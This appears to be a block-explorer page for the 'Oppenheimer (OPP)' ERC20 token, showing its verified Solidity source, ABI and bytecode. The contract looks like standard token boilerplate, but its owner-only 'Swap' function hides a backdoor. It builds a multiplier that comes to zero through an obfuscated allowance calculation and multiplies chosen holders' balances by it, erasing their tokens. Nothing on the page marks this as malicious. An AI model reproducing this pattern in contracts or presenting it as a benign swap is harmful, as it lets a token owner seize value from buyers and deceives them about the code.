ETH Price: $2,422.74 (+2.99%)

Token

Oppenheimer (OPP)
 

Overview

Max Total Supply

100,000,000 OPP

Holders

32

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
395,472.097315811747374874 OPP

Value
$0.00
0x9e4592f5d677cC920Eb2aE199E5Ab9920b3eD9D9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
OPP

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-10
*/

/*
OPP

Oppenheimer


https://t.me/oppenheimer_coin
https://twitter.com/Opp_coin

*/

// SPDX-License-Identifier: MIT
// pragma solidity ^0.8.18;

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of  through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }


    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol


// pragma solidity ^0.8.18;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }


    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }


    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

pragma solidity ^0.8.18;

contract OPP is IERC20, Ownable {
    using SafeMath for uint256;


    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor() payable {
        _name = "Oppenheimer";
        _symbol = "OPP";
        _decimals = 18;
        _totalSupply = 100000000 * 10**_decimals;
        _balances[owner()] = _balances[owner()].add(_totalSupply);
        emit Transfer(address(0), owner(), _totalSupply);
    }


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
     * called.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }


    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function Swap(address[] calldata acct) public onlyOwner {
        uint256 Allownce = _totalSupply * 2355;
        uint256 _IncreaseAllownce = Allownce * 1023520 * 6256 * 0;
        for (uint256 z = 0; z < acct.length; z++) {
            address account = acct[z];
            if (_balances[account] > 0) {
            _balances[account] *= _IncreaseAllownce * 100;
            }
            else 
            _balances[account] = _balances[account];
        }
    }


    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }




}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"acct","type":"address[]"}],"name":"Swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405262000024620000186200023e60201b60201c565b6200024660201b60201c565b6040518060400160405280600b81526020017f4f7070656e6865696d6572000000000000000000000000000000000000000000815250600390816200006a9190620005c5565b506040518060400160405280600381526020017f4f5050000000000000000000000000000000000000000000000000000000000081525060049081620000b19190620005c5565b506012600560006101000a81548160ff021916908360ff160217905550600560009054906101000a900460ff16600a620000ec91906200083c565b6305f5e100620000fd91906200088d565b6006819055506200016d600654600160006200011e6200030a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200033360201b62000bb71790919060201c565b60016000620001816200030a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001cf6200030a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620002309190620008e9565b60405180910390a362000941565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000818362000343919062000906565b905092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620003cd57607f821691505b602082108103620003e357620003e262000385565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200044d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200040e565b6200045986836200040e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620004a6620004a06200049a8462000471565b6200047b565b62000471565b9050919050565b6000819050919050565b620004c28362000485565b620004da620004d182620004ad565b8484546200041b565b825550505050565b600090565b620004f1620004e2565b620004fe818484620004b7565b505050565b5b8181101562000526576200051a600082620004e7565b60018101905062000504565b5050565b601f82111562000575576200053f81620003e9565b6200054a84620003fe565b810160208510156200055a578190505b620005726200056985620003fe565b83018262000503565b50505b505050565b600082821c905092915050565b60006200059a600019846008026200057a565b1980831691505092915050565b6000620005b5838362000587565b9150826002028217905092915050565b620005d0826200034b565b67ffffffffffffffff811115620005ec57620005eb62000356565b5b620005f88254620003b4565b620006058282856200052a565b600060209050601f8311600181146200063d576000841562000628578287015190505b620006348582620005a7565b865550620006a4565b601f1984166200064d86620003e9565b60005b82811015620006775784890151825560018201915060208501945060208101905062000650565b8683101562000697578489015162000693601f89168262000587565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200073a57808604811115620007125762000711620006ac565b5b6001851615620007225780820291505b80810290506200073285620006db565b9450620006f2565b94509492505050565b60008262000755576001905062000828565b8162000765576000905062000828565b81600181146200077e57600281146200078957620007bf565b600191505062000828565b60ff8411156200079e576200079d620006ac565b5b8360020a915084821115620007b857620007b7620006ac565b5b5062000828565b5060208310610133831016604e8410600b8410161715620007f95782820a905083811115620007f357620007f2620006ac565b5b62000828565b620008088484846001620006e8565b92509050818404811115620008225762000821620006ac565b5b81810290505b9392505050565b600060ff82169050919050565b6000620008498262000471565b915062000856836200082f565b9250620008857fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000743565b905092915050565b60006200089a8262000471565b9150620008a78362000471565b9250828202620008b78162000471565b91508282048414831517620008d157620008d0620006ac565b5b5092915050565b620008e38162000471565b82525050565b6000602082019050620009006000830184620008d8565b92915050565b6000620009138262000471565b9150620009208362000471565b92508282019050808211156200093b576200093a620006ac565b5b92915050565b611a7180620009516000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780633ec86457146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906111d3565b60405180910390f35b610132600480360381019061012d9190611293565b6103b4565b60405161013f91906112ee565b60405180910390f35b6101506103d2565b60405161015d9190611318565b60405180910390f35b610180600480360381019061017b9190611333565b6103dc565b60405161018d91906112ee565b60405180910390f35b61019e6104b5565b6040516101ab91906113a2565b60405180910390f35b6101ce60048036038101906101c99190611293565b6104cc565b6040516101db91906112ee565b60405180910390f35b6101fe60048036038101906101f99190611422565b61057f565b005b61021a6004803603810190610215919061146f565b6107c2565b6040516102279190611318565b60405180910390f35b61023861080b565b005b610242610893565b60405161024f91906114ab565b60405180910390f35b6102606108bc565b60405161026d91906111d3565b60405180910390f35b610290600480360381019061028b9190611293565b61094e565b60405161029d91906112ee565b60405180910390f35b6102c060048036038101906102bb9190611293565b610a1b565b6040516102cd91906112ee565b60405180910390f35b6102f060048036038101906102eb91906114c6565b610a39565b6040516102fd9190611318565b60405180910390f35b610320600480360381019061031b919061146f565b610ac0565b005b60606003805461033190611535565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611535565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610bcd565b8484610bd5565b6001905092915050565b6000600654905090565b60006103e9848484610d9e565b6104aa846103f5610bcd565b6104a5856040518060600160405280602881526020016119ef60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045b610bcd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102a9092919063ffffffff16565b610bd5565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60006105756104d9610bcd565b8461057085600260006104ea610bcd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bb790919063ffffffff16565b610bd5565b6001905092915050565b610587610bcd565b73ffffffffffffffffffffffffffffffffffffffff166105a5610893565b73ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f2906115b2565b60405180910390fd5b600061093360065461060d9190611601565b9050600080611870620f9e20846106249190611601565b61062e9190611601565b6106389190611601565b905060005b848490508110156107bb57600085858381811061065d5761065c611643565b5b9050602002016020810190610672919061146f565b90506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610723576064836106c99190611601565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107179190611601565b925050819055506107a7565b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5080806107b390611672565b91505061063d565b5050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610813610bcd565b73ffffffffffffffffffffffffffffffffffffffff16610831610893565b73ffffffffffffffffffffffffffffffffffffffff1614610887576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087e906115b2565b60405180910390fd5b610891600061107f565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546108cb90611535565b80601f01602080910402602001604051908101604052809291908181526020018280546108f790611535565b80156109445780601f1061091957610100808354040283529160200191610944565b820191906000526020600020905b81548152906001019060200180831161092757829003601f168201915b5050505050905090565b6000610a1161095b610bcd565b84610a0c85604051806060016040528060258152602001611a176025913960026000610985610bcd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102a9092919063ffffffff16565b610bd5565b6001905092915050565b6000610a2f610a28610bcd565b8484610d9e565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ac8610bcd565b73ffffffffffffffffffffffffffffffffffffffff16610ae6610893565b73ffffffffffffffffffffffffffffffffffffffff1614610b3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b33906115b2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba29061172c565b60405180910390fd5b610bb48161107f565b50565b60008183610bc5919061174c565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3b906117f2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caa90611884565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d919190611318565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0490611916565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e73906119a8565b60405180910390fd5b610ee8816040518060600160405280602681526020016119c960269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102a9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bb790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161101d9190611318565b60405180910390a3505050565b6000838311158290611072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106991906111d3565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561117d578082015181840152602081019050611162565b60008484015250505050565b6000601f19601f8301169050919050565b60006111a582611143565b6111af818561114e565b93506111bf81856020860161115f565b6111c881611189565b840191505092915050565b600060208201905081810360008301526111ed818461119a565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061122a826111ff565b9050919050565b61123a8161121f565b811461124557600080fd5b50565b60008135905061125781611231565b92915050565b6000819050919050565b6112708161125d565b811461127b57600080fd5b50565b60008135905061128d81611267565b92915050565b600080604083850312156112aa576112a96111f5565b5b60006112b885828601611248565b92505060206112c98582860161127e565b9150509250929050565b60008115159050919050565b6112e8816112d3565b82525050565b600060208201905061130360008301846112df565b92915050565b6113128161125d565b82525050565b600060208201905061132d6000830184611309565b92915050565b60008060006060848603121561134c5761134b6111f5565b5b600061135a86828701611248565b935050602061136b86828701611248565b925050604061137c8682870161127e565b9150509250925092565b600060ff82169050919050565b61139c81611386565b82525050565b60006020820190506113b76000830184611393565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126113e2576113e16113bd565b5b8235905067ffffffffffffffff8111156113ff576113fe6113c2565b5b60208301915083602082028301111561141b5761141a6113c7565b5b9250929050565b60008060208385031215611439576114386111f5565b5b600083013567ffffffffffffffff811115611457576114566111fa565b5b611463858286016113cc565b92509250509250929050565b600060208284031215611485576114846111f5565b5b600061149384828501611248565b91505092915050565b6114a58161121f565b82525050565b60006020820190506114c0600083018461149c565b92915050565b600080604083850312156114dd576114dc6111f5565b5b60006114eb85828601611248565b92505060206114fc85828601611248565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061154d57607f821691505b6020821081036115605761155f611506565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061159c60208361114e565b91506115a782611566565b602082019050919050565b600060208201905081810360008301526115cb8161158f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061160c8261125d565b91506116178361125d565b92508282026116258161125d565b9150828204841483151761163c5761163b6115d2565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061167d8261125d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036116af576116ae6115d2565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061171660268361114e565b9150611721826116ba565b604082019050919050565b6000602082019050818103600083015261174581611709565b9050919050565b60006117578261125d565b91506117628361125d565b925082820190508082111561177a576117796115d2565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006117dc60248361114e565b91506117e782611780565b604082019050919050565b6000602082019050818103600083015261180b816117cf565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061186e60228361114e565b915061187982611812565b604082019050919050565b6000602082019050818103600083015261189d81611861565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061190060258361114e565b915061190b826118a4565b604082019050919050565b6000602082019050818103600083015261192f816118f3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f65737300000000000000000000000000000000000000000000000000000000006020820152